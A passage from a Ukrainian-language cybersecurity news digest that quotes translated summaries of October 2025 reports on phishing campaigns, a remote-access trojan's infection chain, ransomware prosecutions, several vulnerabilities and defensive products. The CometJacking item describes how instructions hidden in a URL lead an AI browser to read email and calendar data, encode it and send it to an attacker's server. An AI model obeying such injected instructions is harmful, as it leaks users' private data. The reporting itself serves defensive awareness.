Пакеті, названі за шаблонами «redirect-xxxxxx» та «mad-x.x.x.x.x», виглядають нешкідливими в реєстрі, але слугують фішинговими скриптами. Жертви отримують HTML-файли, що видають себе за рахунки-фактури або документи проєкту; після відкриття ці файли непомітно завантажують скрипт з unpkg, перенаправляючи користувача на сайти, що збирають облікові дані…

Snyk і Socket простежують кампанію, яка вперше з'явилася в жовтні 2025 року, до атак на співробітників понад 135 європейських компаній у промисловому, технологічному та енергетичному секторах. Корисне навантаження демонструє витончену ухильність: підроблена сторінка «Cloudflare Security Check» використовує тактику протидії аналізу, очищаючи сторінку або перенаправляючи її, якщо відкриваються інструменти розробника браузера, блокуючи комбінації

клавіш F12/Ctrl-Shift-I/Ctrl-U, а також «frame-busting» для захоплення вікна верхнього рівня.

Використовуючи автоматичну доступність CDN для будь-якого опублікованого пакета NPM, операція обходить традиційні засоби контролю під час інсталяції та ілюструє небезпечну зміну в атаках на ланцюжок постачання відкритого програмного забезпечення: використання як зброї самої надійної інфраструктури доставки, а не коду, який розробники свідомо інсталюють…» ***(Tushar Subhra Dutta. New Cyberattack Leverages NPM Ecosystem to Infect Developers While Installing Packages // Cyber Security News (https://cybersecuritynews.com/new-cyberattack-leverages-npm-ecosystem/). 14.10.2025).***

***

«З січня 2025 року один, досі не ідентифікований зловмисник проводить багатомовну фішингову кампанію в Китаї, Тайвані, Японії та Малайзії, поширюючи троян для віддаленого доступу «HoldingHands». Fortinet вперше помітила цю групу в Тайвані, яка використовувала Winos 4.0, але до лютого оператори перейшли на нові сімейства шкідливого програмного забезпечення і розширили сферу своєї діяльності. Їхньою візитною карткою є приманки, написані китайською мовою — підроблені меморандуми міністерства фінансів, податкові проекти або замовлення на закупівлю — які поширюються у вигляді PDF-файлів із вбудованими посиланнями на файли, що зберігаються в Tencent Cloud. Унікальні ідентифікатори облікових записів на цих посиланнях, однакові прийоми маскування та спільна адреса C2 (156.251.17.9, домен twczb.com) об'єднують усі регіональні кластери…

Типова послідовність зараження починається з ZIP-файлу або виконуваного файлу з назвою на кшталт «документ податкової перевірки». Вона завантажує підроблену DLL (dokan2.dll), яка запускає sw.dat для виконання перевірок анти-VM і підвищення привілеїв через службу TrustedInstaller. Потім ланцюжок зловживає планувальником завдань Windows і перейменованим системним файлом (TimeBrokerClient.dll) для розшифрування і запуску HoldingHands, зберігаючи артефакти поза диском і ховаючи їх всередині надійних процесів, таких як taskhostw.exe. Зараз шкідливе програмне забезпечення може:

• видавати себе за зареєстрованих користувачів,

• вводити код у системні процеси,

• віддалено змінювати свою IP-адресу C2 за допомогою ключа реєстру, а також

• адаптуватися до засобів захисту — припиняти роботу, якщо присутній Kaspersky, або скидати DLL-файли-приманки, якщо виявляє Norton або Avast…

Дослідники вважають, що кінцевою метою є довгострокове збирання розвідувальної інформації про китайськомовних користувачів, при цьому троян залишається в неактивному стані, поки оператори не видадуть подальші команди». ***(Prajeet Nair. Cross-Border Phishing Attacks Spreads Across Asia // Information Security Media Group, Corp. (https://www.govinfosecurity.com/cross-border-phishing-attacks-spreads-across-asia-a-29758). 17.10.2025).***

***

«…Незважаючи на широку обізнаність та обов'язкове навчання, фішинг залишається дуже ефективним вектором атак, на який припадає 15% усіх випадків порушення безпеки даних, а експерти відзначають, що традиційні методи навчання стають дедалі менш ефективними. Дослідження, в тому числі дослідження, проведене серед 20 000 співробітників UC San Diego Health, показало, що щорічне навчання з кібербезпеки не приносить помітного поліпшення показників невдач фішингу, а вбудоване навчання є мінімально ефективним: від 37% до 51% користувачів просто закривають сторінку втручання через «втому від кібернавчання» та відсутність зацікавленості…

Керівники служб безпеки повинні переглянути свій підхід, відходячи від менталітету «відмітити галочкою» і рухаючись у напрямку інтеграції безпеки в організаційну культуру, починаючи з підтримки керівництва вищого рівня. Оскільки поведінку користувачів важко змінити за допомогою окремих навчальних сесій, необхідно розробляти нові стратегії, потенційно зосереджуючись на психологічних механізмах — або мисленні Системи 1 (автоматичному) — які спонукають до ризикованих кліків. Одне дослідження показує, що тип пристрою впливає на вразливість: користувачі ПК частіше роблять ризиковані вибори, ніж користувачі мобільних пристроїв, що вказує на необхідність вжиття більш виважених заходів захисту…

Щоб підвищити ефективність в умовах, коли генеративна ШІ створює все більш складні загрози, навчання потребує кардинальних змін. Серед пропозицій — використання ігрових елементів та заохочень (наприклад, подарункових карток) для підвищення зацікавленості, врахування різних стилів навчання та пристосування до гібридних моделей роботи. Критично важливо, щоб керівники служб безпеки розглядали ефективність навчання як безперервний процес, відстежуючи такі показники, як рівень завершення та повторні невдачі. Однак одного навчання недостатньо; експерти наголошують, що організації повинні застосовувати надійні технічні заходи, такі як багатофакторна автентифікація та вдосконалене виявлення фішингу, щоб дійсно захиститися від цих атак». ***(Carrie Pallardy. Phishing training needs a new hook — here's how to rethink your approach // FoundryCo, Inc. (https://www.csoonline.com/article/4071289/what-to-consider-to-make-your-enterprise-phishing-training-effective.html). 16.10.2025).***

***

Операції правоохоронних органів та судові справи проти кіберзлочинців

«…США оголосили винагороду в розмірі 11 мільйонів доларів за українського громадянина Володимира Тимощука, відомого в Інтернеті під псевдонімами «deadforz», «Boba» та іншими, якого прокурори називають одним з найактивніших операторів програм-вимагачів останнього десятиліття. Тимощук, якому пред'явлено сім звинувачень у злочинах, кожне з

яких карається довічним ув'язненням, звинувачується у створенні та управлінні декількома сімействами програм-вимагачів, включаючи LockerGoga, MegaCortex, а пізніше — платформою «ransomware-as-a-service» Nefilim, через яку він нібито утримував 20 відсотків від кожної виплати жертви. Його код був пов'язаний з атаками, які заморозили глобальні виробничі лінії норвезького енергетичного гіганта Norsk Hydro (збитки склали 81 мільйон доларів), паралізували роботу лікарень, електростанцій і комп'ютерів звичайних користувачів, а також загалом завдали збитків на суму понад 18 мільярдів доларів по всьому світу… З того часу американські та європейські слідчі випустили безкоштовні ключі для розшифрування деяких заблокованих даних і судять співучасника в Нью-Йорку, але більш широкі збитки — у вигляді затримок у наданні медичної допомоги, зупинки виробничих процесів і дорогого відновлення систем — залишаються…

Віднісши Тимощука до тієї ж категорії «транснаціональної організованої злочинності», що й торговців зброєю та наркотиками, Державний департамент сподівається, що рекордна винагорода спонукає інформаторів допомогти заарештувати особу, яка вважається символом ескалації глобальної загрози від програм-вимагачів…» ***(Casey Cooper. Why The US Just Put An $11M Dollar Bounty On This Ukranian Hacker // Static Media® (https://www.slashgear.com/1981730/united-states-bounty-ukrainian-hacker-tymoshchuk/). 03.10.2025).***

***

«…В результаті великої транскордонної операції під кодовою назвою «SIMCARTEL», проведеної владою Австрії, Естонії та Латвії, було успішно ліквідовано кіберзлочинну службу, яка сприяла здійсненню понад 3000 онлайн-шахрайств по всій Європі. В результаті було заарештовано сім підозрюваних та вилучено сервери, домени та криптовалютні гаманці. Ця операція була спрямована проти злочинної мережі, яка надавала необхідну технічну інфраструктуру, що є прикладом високоспеціалізованої бізнес-моделі «кіберзлочинність як послуга» (CaaS)…

Основу операції становили 1200 вилучених SIM-боксів та 40 000 активних SIM-карт, які дозволяли злочинцям перенаправляти дзвінки та повідомлення, використовуючи номери з понад 80 країн, приховуючи свою особу для здійснення різних шахрайських схем, включаючи банківське шахрайство та соціальну інженерію. Мережа також відіграла важливу роль у створенні майже 50 мільйонів фейкових акаунтів у соціальних мережах…

Широке поширення мережі підтверджується більш ніж 3200 випадками шахрайства, зареєстрованими лише в Австрії та Латвії, загальні підтверджені фінансові збитки від яких перевищують 4,9 млн євро. Надаючи ключову інфраструктуру за абонентську плату або плату за кожне використання, заарештовані підозрювані дали змогу злочинцям нижчого рівня досягти масштабів і ефективності, які в іншому випадку були б неможливими. Ця операція, що є продовженням аналогічних операцій проти таких платформ, як Genesis Market, є значною, але офіційні особи застерігають, що для запобігання повторній появі подібних послуг CaaS необхідний постійний моніторинг та співпраця з приватним

сектором…» ***(Mihir Bagwe. European Authorities Shutter Cybercrime Service Fueling Thousands of Online Scams // The Cyber Express (https://thecyberexpress.com/europe-authorities-shutter-cybercrime-service/). 17.10.2025).***

***

«У рамках найбільшої на сьогоднішній день спільної операції з боротьби з кіберзлочинністю США та Велика Британія наклали санкції та обмеження на десятки осіб та підприємств, пов'язаних з великими мережами онлайн-шахрайства, що діють у Південно-Східній Азії. Управління контролю за іноземними активами та Мережа боротьби з фінансовими злочинами Міністерства фінансів США спільно з Міністерством закордонних справ, Співдружності та розвитку Великої Британії зосередили свою увагу на двох основних організаціях: транснаціональній злочинній організації Prince Group, що базується в Камбоджі, та фінансовому конгломераті Huione Group…

Управління з контролю за іноземними активами (OFAC) Міністерства фінансів США внесло до чорного списку 146 осіб та організацій, пов'язаних з Prince Group, яка, під керівництвом громадянина Камбоджі Чен Чжі, нібито здійснювала інвестиційні афери під назвою «забій свиней», в рамках яких займалася торгівлею людьми та примушувала працівників до праці, а також обманювала жертв по всьому світу. Huione Group було відключено від фінансової системи США після того, як слідчі відстежили через її платформи понад 4 мільярди доларів відмитих доходів у віртуальній валюті, включаючи кошти, отримані в результаті кіберкрадіжок у Північній Кореї. Було оприлюднено американське обвинувачення проти Чен Чжі, а Велика Британія ввела паралельні санкції проти Prince Group, Чен Чжі та його спільників…

Підставні компанії мережі Prince поширилися по всій Азії, маскуючи шахрайські комплекси, де робітників змушували здійснювати шахрайські схеми; оператор розкішних готелів Jin Bei Group нібито служив прикриттям, а жертви з США втратили мільйони. Міністерство фінансів також заблокувало проекти, пов'язані з Prince, в Палау, наклавши санкції на місцевих партнерів, залучених до будівництва запланованого курорту…

Всі активи зазначених сторін, що знаходяться під юрисдикцією США, заморожені, американцям заборонено мати з ними справи, а іноземні банки можуть бути піддані вторинним санкціям, якщо вони сприятимуть здійсненню транзакцій. Офіційні особи заявили, що ці заходи є частиною більш широких міжнародних зусиль проти південно-східноазіатських синдикатів кібершахраїв, які виманили мільярди доларів у жертв по всьому світу…» ***(US and UK Lead Record Cybercrime Operation in Southeast Asia // TechnologyAdvice (https://www.techrepublic.com/article/cybercrime-operation-southeast-asia/). 16.10.2025).***

***

«…Нещодавно стався масштабний збій в роботі Інтернету, який тривав приблизно три години, коли проблема з Amazon Web Services (AWS) порушила роботу широкого спектру глобальних онлайн-сервісів, включаючи соціальні мережі, ігри, стрімінг, фінансові платформи та освітні інструменти, такі як Canvas. Amazon пов'язав збій з проблемами, пов'язаними з його системою доменних імен (DNS), яка перетворює веб-адреси в числові IP-адреси. Хоча AWS, яка надає критично важливу інфраструктуру хмарних обчислень великим глобальним організаціям, урядовим органам та університетам, повідомила про початок відновлення роботи через три години, експерти зазначили, що «повільне і нерівномірне відновлення» з періодичними збоями є нормальним явищем…

Цей інцидент, в результаті якого понад 11 мільйонів користувачів повідомили про проблеми в більш ніж 2500 компаніях, підкреслює сильну залежність глобальної мережі Інтернет від декількох основних постачальників технологій (Amazon, Microsoft, Google). Ця залежність створює ефект доміно, коли збій в роботі однієї служби може одночасно вплинути на мільйони користувачів і численні служби. Хоча вважалося, що проблема була пов'язана з технічною помилкою, а не з кібератакою, експерти та представники ЗМІ закликали до більшої диверсифікації інфраструктури хмарних обчислень з метою посилення цифрового суверенітету та безпеки. Зокрема, деякі європейські чиновники стверджували, що важливі дані та цифрова інфраструктура повинні розміщуватися в Європі компаніями ЄС. Незважаючи на масштабні перебої, акції Amazon до кінця торгового дня подорожчали на 1,6%, що свідчить про довіру інвесторів до AWS, яка забезпечує значну частину операційного прибутку компанії…» ***(Amazon Web Services outage roils global users // Northwest Arkansas Newspapers LLC. (https://www.nwaonline.com/news/2025/oct/21/amazon-web-services-outage-roils-global-users/?news-national). 21.10.2025).***

***

Виявлені вразливості технічних засобів та програмного забезпечення

«…Дослідження Zimperium zLabs, в якому було перевірено понад 800 безкоштовних віртуальних приватних мереж (VPN), показало, що майже дві третини з них становлять значну загрозу безпеці та конфіденційності споживачів, що є серйозною проблемою для організацій, які застосовують політику «принеси своє власне обладнання» (BYOD). Теоретично VPN шифрує дані та маршрутизує трафік через безпечний сервер, щоб захистити конфіденційність в Інтернеті та приховати місцезнаходження, але сотні перевірених безкоштовних додатків для Android та iOS використовують застарілий та вразливий код, вимагають надмірних дозволів та витоку особистих даних…

Серед виявлених конкретних небезпек – можливість деяких VPN робити знімки екрана користувальницького інтерфейсу, вразливість до запуску небезпечних дій (що дозволяє зловмисникам обходити перевірки безпеки або вимикати шифрування) та зловживання дозволами, що може дозволити зловмисникам змінювати паролі або отримувати несанкціонований доступ до облікових записів. Крім того, 25% VPN для iOS не надали дійсних маніфестів конфіденційності, що ставить користувачів під ризик профілювання та монетизації даних…

Експерти застерігають споживачів бути «надзвичайно обережними» щодо суто безкоштовних VPN, де користувач стає продуктом, і радять вибирати таких провайдерів, як Proton VPN з безкоштовним тарифом, які субсидуються преміум-підписками та пропонують чітку і сувору політику конфіденційності». ***(Alex Valdes. Nearly Two-Thirds of Free VPNs Put Your Data at Risk, Study Says: What to Know // Ziff Davis company. (https://www.cnet.com/tech/services-and-software/nearly-two-thirds-of-free-vpns-put-your-data-at-risk-study-says-what-to-know/). 03.10.2025).***

***

«…Дослідження гуманоїдного робота G1 компанії Unitree підкреслює, як швидко корисні машини на базі штучного інтелекту можуть стати серйозною кіберзагрозою. Дослідники в галузі безпеки виявили, що жорстко запрограмований ключ AES у протоколі Bluetooth Low Energy робота дозволяє будь-якому зловмиснику, що знаходиться поблизу, ввести команди оболонки та отримати root-доступ; оскільки один і той самий ключ використовується у всій лінійці продуктів, зламавши одного робота, можна зламати всю лінійку… Команда також виявила, що спеціальна схема шифрування файлів робота базується на іншому статичному ключі, тому компрометація одного пристрою розблоковує дані конфігурації для всіх одиниць. Ще більш тривожним є те, що кожен G1 автоматично починає передавати великі обсяги телеметричних даних — відео, аудіо, дані про місцезнаходження — на сервери в Китаї протягом декількох секунд після ввімкнення, відновлюючи з'єднання щоразу, коли воно обривається. Цей тихий, безперервний експорт даних наражає операторів на потенційні порушення таких нормативних актів, як GDPR та CCPA. Після злому робот може бути перетворений як на таємного шпигуна, так і на активну платформу для атак: дослідники завантажили на G1 агент штучного інтелекту для кібербезпеки, що працює на основі мовної моделі, який без допомоги людини склав карту внутрішніх мереж, визначив служби, які можна експлуатувати (MQTT, WebRTC, оновлення OTA), та намітив шляхи поперечного переміщення — навіть у сегменти з повітряним розривом…

Результати дослідження попереджають, що з появою гуманоїдних роботів в офісах, лікарнях і на заводах вони стають двосторонніми векторами атак, одночасно збираючи інформацію і здійснюючи вторгнення зсередини надійних зон. Тому стратегії захисту повинні еволюціонувати від статичних засобів контролю до гнучких, заснованих на штучному інтелекті засобів захисту, що працюють зі швидкістю машини». ***(Jack Poller. Humanoid Robots are Walking Trojan Horses — And They're Already in the Workplace // Techstrong Group Inc.***

(https://securityboulevard.com/2025/10/humanoid-robots-are-walking-trojan-horses-and-theyre-already-in-the-workplace/). 02.10.2025).

***

«Grafana, аналітична платформа з відкритим кодом, стала об'єктом нової, широкомасштабної скоординованої кампанії з використанням уразливості CVE-2021-43798, яка дозволяє зловмисникам читати довільні файли на незахищених інстанціях. 28 вересня дослідники безпеки з GreyNoise виявили раптовий значний сплеск ворожих зондувань: 110 унікальних зловмисних IP-адрес намагалися здійснити експлойтацію протягом одного дня з метою зібрати конфіденційні файли конфігурації та облікових даних…

Кампанія продемонструвала чіткі моделі координації та інфраструктури: 107 вихідних IP-адрес походили з Бангладеш, а решта — з Китаю та Німеччини. Ці джерела дотримувалися суворого розподілу у співвідношенні 3:1:1, націлюючись переважно на кінцеві точки у США, а потім — у Словаччині та Тайвані. Більшість вихідних IP-адрес були виявлені вперше, що свідчить про використання одноразової інфраструктури. Аналіз трафіку також виявив однорідне географічне таргетування та збіжні відбитки інструментів, включаючи спільні хеші TLS JA3 та рядки User-Agent, що вказує на те, що атаки були централізовано організовані, а не проведені різними учасниками. Примітно, що дві IP-адреси, розміщені в Китаї, обидві під CHINANET-BACKBONE, були активними виключно 28 вересня, зосередившись виключно на зондах Grafana path traversal…

Повторна поява старої, дуже небезпечної уразливості підкреслює необхідність постійної пильності, оскільки такі уразливості часто інтегруються в багатоетапні ланцюжки експлойтів. Організації повинні мінімізувати цю загрозу, негайно оновивши всі розгортання Grafana до останньої безпечної версії, перевіривши журнали веб-сервера на наявність несанкціонованих запитів на перехід і вживши захисних заходів, таких як блокування виявлених зловмисних IP-адрес та використання динамічних списків заблокованих IP-адрес із підтримкою сигнатур JA3/JA4». ***(Florence Nightingale. Hackers Attempting to Exploit Grafana Vulnerability that Enables Arbitrary File Reads // Cyber Security News (https://cybersecuritynews.com/grafana-vulnerability-exploit/). 03.10.2025).***

***

«У браузері Comet від Perplexity, що працює на базі штучного інтелекту, було виявлено революційну вразливість під назвою «CometJacking», яка фактично перетворює штучний інтелект на ненавмисного співучасника крадіжки даних. Виявлена дослідниками LayerX, ця атака використовує архітектуру Comet та його авторизований доступ до підключених сервісів, таких як Gmail і Google Calendar, що дозволяє зловмисникам використовувати один URL-адресу для вилучення конфіденційних даних користувачів без необхідності традиційної крадіжки облікових даних або шкідливого вмісту веб-сторінок…

Метод CometJacking маніпулює параметрами URL-запиту, щоб ввести приховані інструкції безпосередньо в систему обробки запитів ШІ. Типовий зловмисний запит дає ШІ вказівку отримати доступ до конфіденційної пам'яті

користувача (наприклад, даних електронної пошти або календаря), узагальнити її, перетворити у формат Base64, щоб обійти перевірки безпеки, а потім виконати команду Python, щоб надіслати зашифрований результат Base64 через POST-запит на сервер, контрольований зловмисником. Ця атака є підступною, оскільки вона зловживає параметром «збір» браузера, змушуючи штучний інтелект читати збережені особисті дані, тим самим значно розширюючи поверхню атаки, щоб включити всю інформацію, надану коннектором.

Під час тестування концептуальної моделі LayerX успішно продемонструвала атаки з крадіжки електронної пошти та збору даних календаря, які не вимагали від користувача ніяких дій, крім початкового кліка на посилання, що становить значний ризик для корпоративних середовищ. Незважаючи на серйозність висновків, Perplexity спочатку позначила звіт як «Не застосовується», підкресливши потенційні прогалини в оцінці вразливості для нових платформ на базі штучного інтелекту. Таким чином, CometJacking представляє собою парадигмальний зсув у загрозах, пов'язаних з браузерами, підкреслюючи необхідність для команд безпеки розробляти нові оборонні стратегії, спеціально призначені для протидії зловмисним вставкам штучного інтелекту в агентних браузерах…» ***(Florence Nightingale. New CometJacking Attack Let Attackers Turn Perplexity Browser Against You in One Click // Cyber Security News (https://cybersecuritynews.com/cometjacking-attack/). 04.10.2025).***

***

«Google повідомила, що пов'язана з Росією група хакерів CL0P здійснила масштабну кібератаку, скориставшись незахищеною вразливістю в програмному забезпеченні Oracle, що призвело до порушень безпеки в понад 100 компаніях по всьому світу, переважно у фінансовому, медичному та роздрібному секторах. Цей інцидент, за який хакери вимагали викуп у розмірі 50 мільйонів доларів, підкреслює значну небезпеку, яку становить затримка з виправленням вразливостей безпеки, навіть у надійному корпоративному програмному забезпеченні. Атака відбулася, коли хакери скористалися вразливістю Oracle, щоб отримати доступ до мереж компаній, викрасти конфіденційні дані та порушити бізнес-операції…

Хоча Oracle вже випустила патч для усунення цієї вразливості, експерти з кібербезпеки наголошують на необхідності вжиття негайних, проактивних заходів. Цей інцидент є суворим нагадуванням про зростаючу загрозу складних кібератак, що фінансуються державою, що вимагає від компаній посилення своїх захисних заходів за допомогою моніторингу в режимі реального часу, багатофакторної аутентифікації, регулярних оновлень програмного забезпечення та комплексних стратегій безпеки. Організації зараз прискорюють зусилля з посилення своїх систем кібербезпеки, оскільки експерти прогнозують зростання кількості атак, спрямованих на вразливі місця в корпоративному програмному забезпеченні». ***(Naveen Ramu. Google Confirms Russian Hackers Breached Over 100 Companies Through Oracle Vulnerability // Analytics Insight (https://www.analyticsinsight.net/news/google-confirms-russian-hackers-breached-over-100-companies-through-oracle-vulnerability). 10.10.2025).***

***

«Китайський зловмисник, відомий під псевдонімом Storm-2603, зловживає застарілою версією інструменту Velociraptor з відкритим кодом для цифрової криміналістики та реагування на інциденти (DFIR), щоб підтримувати постійний доступ і розгортати «коктейль» з різних видів програм-вимагачів, включаючи Warlock, LockBit і Babuk. Дослідники Cisco Talos виявили цю діяльність, яка серйозно вплинула на IT-середовище неназваного клієнта, зашифрувавши віртуальні машини VMware ESXi та сервери Windows…

Зловмисники скористалися відомою вразливістю підвищення привілеїв (CVE-2025-6264) у версії Velociraptor 0.73.4.0, отримавши повний контроль над кінцевими точками. Викрадені агенти використовувалися для підтримання прихованого, постійного доступу — вони продовжували запускатися навіть після ізоляції хостів — і були маніпульовані для завантаження та виконання коду Visual Studio, ймовірно, для створення тунелю управління та контролю. Таке зловживання легальним інструментом відповідає зростаючій тенденції зловмисників до включення комерційних та відкритих продуктів у свої сценарії використання програм-вимагачів…

Talos з помірною впевненістю приписав цю кампанію Storm-2603 на основі збігу тактик, технік і процедур (TTP), таких як відключення Defender і маніпулювання об'єктами групової політики. В ході операції одночасно було застосовано кілька варіантів програм-вимагачів: LockBit на комп'ютерах з Windows і старіший шифрувальник Babuk на серверах Linux ESXi для часткового шифрування, а також розширення файлів Warlock. Також було підтверджено стратегію подвійного вимагання, коли зловмисники використовували прихований скрипт PowerShell із затримками для викрадення конфіденційних даних та уникнення виявлення пісочницею. Захисникам настійно рекомендується негайно перевірити та оновити всі розгортання Velociraptor до версії 0.73.5 або пізнішої, щоб усунути вразливість, що дозволяє підвищити привілеї». ***(Shweta Sharma. Open-source DFIR Velociraptor was abused in expanding ransomware efforts // FoundryCo, Inc (https://www.csoonline.com/article/4070854/open-source-dfir-velociraptor-was-abused-in-expanding-ransomware-efforts.html). 10.10.2025).***

***

«Дослідники з Eclypsium продемонстрували, що на понад 200 000 ноутбуків і настільних комп'ютерів можна непомітно вимкнути функцію Secure Boot, оскільки багато з їхніх підписаних, попередньо встановлених оболонок UEFI містять потужну команду «mm» (memory-modify). Ці оболонки підписані центром сертифікації UEFI компанії Microsoft, тому прошивка завантажує їх без перевірки. За допомогою декількох команд «mm», які виконуються автоматично під час завантаження, зловмисник може перезаписати пам'ять протоколу Security Architectural Protocol, змусивши Secure Boot повідомити про успішне виконання, приймаючи будь-який непідписаний bootkit або rootkit. Ця ж техніка може бути використана для стійкого програмного забезпечення-вимагача або шпигунського шкідливого програмного забезпечення, що нагадує недавні загрози прошивки, такі як BlackLotus…

Це стосується пристроїв Framework від 11-го покоління Intel до систем AMD Ryzen AI. Framework випускає оновлення BIOS, які видаляють небезпечні команди та публікують списки скасування DBX; деякі моделі вже виправлені, а інші очікують на виправлення. Користувачі також можуть видалити стандартні ключі Framework або застосувати новий DBX для блокування вразливих бінарних файлів…

Це відкриття ілюструє більш широку проблему галузі: будь-яка утиліта UEFI, підписана Microsoft і вбудована виробником оригінального обладнання, може підірвати безпеку Secure Boot, якщо вона розкриває функції запису в пам'ять, як показали попередні вразливості (наприклад, CVE-2022-34302, CVE-2024-7344). Eclypsium закликає постачальників заборонити діагностичні оболонки в ланцюжку Secure Boot, підтримувати актуальність списків скасування DBX, застосовувати паролі BIOS, використовувати власні ключі підпису та регулярно сканувати прошивку на наявність ризикованих бінарних файлів. Неявна довіра до підписаного коду більше не є достатньою; організації повинні активно перевіряти всі компоненти прошивки, щоб запобігти компрометації нижче рівня ОС…» ***(Guru Baran. UEFI Shell Vulnerabilities Could Allow Hackers to Bypass Secure Boot on 200,000+ Laptops // Cyber Security News (https://cybersecuritynews.com/uefi-shell-vulnerabilities/). 14.10.2025).***

***

«Дослідники в галузі кібербезпеки виявили нову вразливість, названу «Pixnapping», яка впливає на пристрої Android і дозволяє хакерам миттєво викрадати приватні дані, включаючи повідомлення в чатах, електронні листи та коди двофакторної аутентифікації (2FA), з будь-якої інформації, що відображається на екрані. Для здійснення атаки жертва повинна спочатку завантажити шкідливий додаток; після його встановлення Pixnapping може бути запущений без додаткових дозволів пристрою. Атака використовує API Android для атаки на інші програми, отримуючи доступ до пікселів, що відображаються на екрані, через ненавмисний витік даних (апаратний бічний канал)… Потім шкідлива програма пропускає ці окремі пікселі через конвеєр рендеринга, виконуючи графічні операції, поки система оптичного розпізнавання символів (OCR) не витягне текст із зображень. Хоча експлойт працює «так, ніби шкідлива програма робить знімок екрана, до якого вона не повинна мати доступу», інформація, прихована зірочками, не може бути викрадена. Дослідники успішно протестували Pixnapping на Google Pixel (6–9) і Samsung Galaxy S25 з ОС Android 13–16, і хоча їм невідомо про будь-які випадки використання в реальному житті, вони повідомили про цю вразливість Google в лютому. Google випустила первинний патч минулого місяця, але після того, як дослідники знайшли обхідний шлях, компанія оголосила, що додатковий патч буде випущений у грудневому бюлетені безпеки Android…» ***(Matt Binder. New 'Pixnapping' attack lets hackers steal Android chats, 2FA codes in seconds // Mashable, Inc. (https://mashable.com/article/pixnapping-attack-android-devices-hackers-steal-data). 14.10.2025).***

***

«…Баги Microsoft Office домінують у світовому масштабі, а CVE-2018-0802, CVE-2017-11882 (обидва в Equation Editor) та CVE-2017-0199 (що впливають на Office та WordPad) очолюють список. У Південно-Східній Азії тільки Індонезія (524 657 виявлених випадків) мала більше експлойтів, ніж В'єтнам, а Малайзія (190 556), Таїланд (88 966), Філіппіни (50 895) і Сінгапур (38 719) відставали. Веб-шкідливе програмне забезпечення залишається додатковою проблемою: тайські організації зазнали 2,52 мільйона веб-загроз за той самий період, за ними йдуть Малайзія та Індонезія, а В'єтнам зіткнувся з 1,17 мільйона інцидентів… Керівник Kaspersky в Азіатсько-Тихоокеанському регіоні Адріан Хіа попереджає, що в міру прискорення цифровізації в'єтнамських малих і середніх підприємств та великих компаній зловмисники поспішають перетворити на зброю ті самі інструменти, які підвищують продуктивність. Він закликає компанії інтегрувати кібербезпеку в корпоративну культуру, тестуючи експлойти в ізольованих середовищах, цілодобово моніторячи периметри IT/OT, оперативно встановлюючи виправлення, впроваджуючи надійний захист кінцевих точок з функціями реагування на інциденти, навчаючи персонал та використовуючи канали інформації про загрози, щоб йти в ногу з еволюцією тактик зловмисників…» ***(Unpatched systems expose Việt Nam businesses to cyberthreats // Viet Nam News (https://vietnamnews.vn/economy/1727464/unpatched-systems-expose-viet-nam-businesses-to-cyberthreats.html). 17.10.2025).***

***

«Компанія Intruder, лідер у сфері управління вразливостями, представила Індекс управління ризиками 2025, складений на основі даних тисяч малих і середніх підприємств (1–2000 співробітників), який показує, що штучний інтелект сприяє різкому зростанню кількості випадків використання як нових, так і давно відомих вразливостей. Автоматизовані інструменти тепер пишуть нові експлойти для CVE, які існують вже багато років, тому невиправлені проблеми залишаються поширеними, навіть незважаючи на те, що «ToolShell» (CVE-2025-53770) з нульовим днем потрапив у заголовки новин. В середньому, клієнти Intruder цього року зіткнуться з приблизно 198 критичними та 334 серйозними недоліками, що відображає критичний обсяг 2024 року, але свідчить про значне зростання високих показників…

Виправлення помилок покращується: 89% критичних помилок тепер виправляють протягом 30 днів — це на 14 пунктів більше, ніж у 2024 році, — проте розмір організації все ще має значення. Компаніям із 51–2000 співробітниками потрібно 17 днів, щоб усунути критичні вразливості, проти 14 днів для менших компаній, які не обтяжені бюрократичною тяганиною з чергами на обробку запитів. У розрізі секторів найшвидше виправлення вразливостей здійснюють постачальники програмного забезпечення (13 днів), за ними йдуть фінансові компанії (22 дні), що пояснюється тиском з боку органів регулювання та більшими бюджетами на безпеку.

Поверхні атак на малі та середні підприємства продовжують розширюватися через створені за допомогою штучного інтелекту додатки з «кодуванням вібрацій», швидке впровадження хмарних технологій, тіньові IT-системи та ланцюги

постачання — проблеми, підкреслені перебоями в роботі аеропорту Хітроу та компанії Jaguar Land Rover у 2025 році. Сектор фінтех привернув 26% трафіку DDoS у третьому кварталі, електронна комерція — 22%, медіа — 16% та ІКТ — 15%; найпотужніша мережева атака року вразила електронну комерцію з потужністю 1,15 Тбіт/с.

Intruder визнає п'ять CVE найнебезпечнішими на даний момент:

• Apache Tomcat RCE (CVE-2025-24813) – найширша критична вразливість у SMB-середовищах.

• ToolShell RCE (CVE-2025-53770) – проста у використанні; відсутність патчів призвела до швидкого масового компрометації.

• Palo Alto auth bypass (CVE-2025-0108) – нові способи обходу контролю інтерфейсу управління.

• Apache mod_rewrite RCE (CVE-2024-38475) – найпопулярніша помилка минулого року, яка досі залишається об'єктом атак.

• Вразливості Fortinet edge (CVE-2024-55591, CVE-2025-32756) – ілюструють, чому периферійні пристрої залишаються головними цілями…

У звіті робиться висновок, що малі та середні підприємства стикаються з тими ж загрозами, що й великі підприємства, але мають менше ресурсів; для виживання зараз надзвичайно важливо надавати пріоритет швидкому виправленню вразливостей, компенсаційним заходам контролю для периферійних пристроїв та нагляду за кодом, згенерованим штучним інтелектом». ***(Intruder's 2025 Exposure Management Index: SMBs Face Rising Risk as AI Weaponizes Older CVEs // Business Wire, Inc. (https://www.businesswire.com/news/home/20251021840941/en/Intruders-2025-Exposure-Management-Index-SMBs-Face-Rising-Risk-as-AI-Weaponizes-Older-CVEs). 21.10.2025).***

***

Технічні та програмні рішення для протидії кібернетичним загрозам

«Firevault, новий британський стартап у галузі кібербезпеки, представив офлайн-платформу з повітряним зазором, яка дозволяє IT-реселерам, постачальникам уніфікованих комунікацій та MSP надавати клієнтам надійний захист від програм-вимагачів, крадіжки даних та штрафів за недотримання вимог, одночасно створюючи власний високоприбутковий потік регулярних доходів. Під впливом хвилі уникнутих порушень, що руйнують репутацію, співзасновники Марк Фермор і Девід Бейлі розробили систему на основі простої передумови: якщо критично важливі дані фізично відключені, їх неможливо сканувати, викрасти або зашифрувати…

Портфоліо починається з «Vault» — персонального цифрового сейфа об'ємом 2–8 ТБ, заблокованого ідентифікаційними даними одного перевіреного власника, для документів ради директорів, контрактів, інтелектуальної власності та інших найцінніших активів, ціна якого становить від 360 фунтів стерлінгів на місяць і

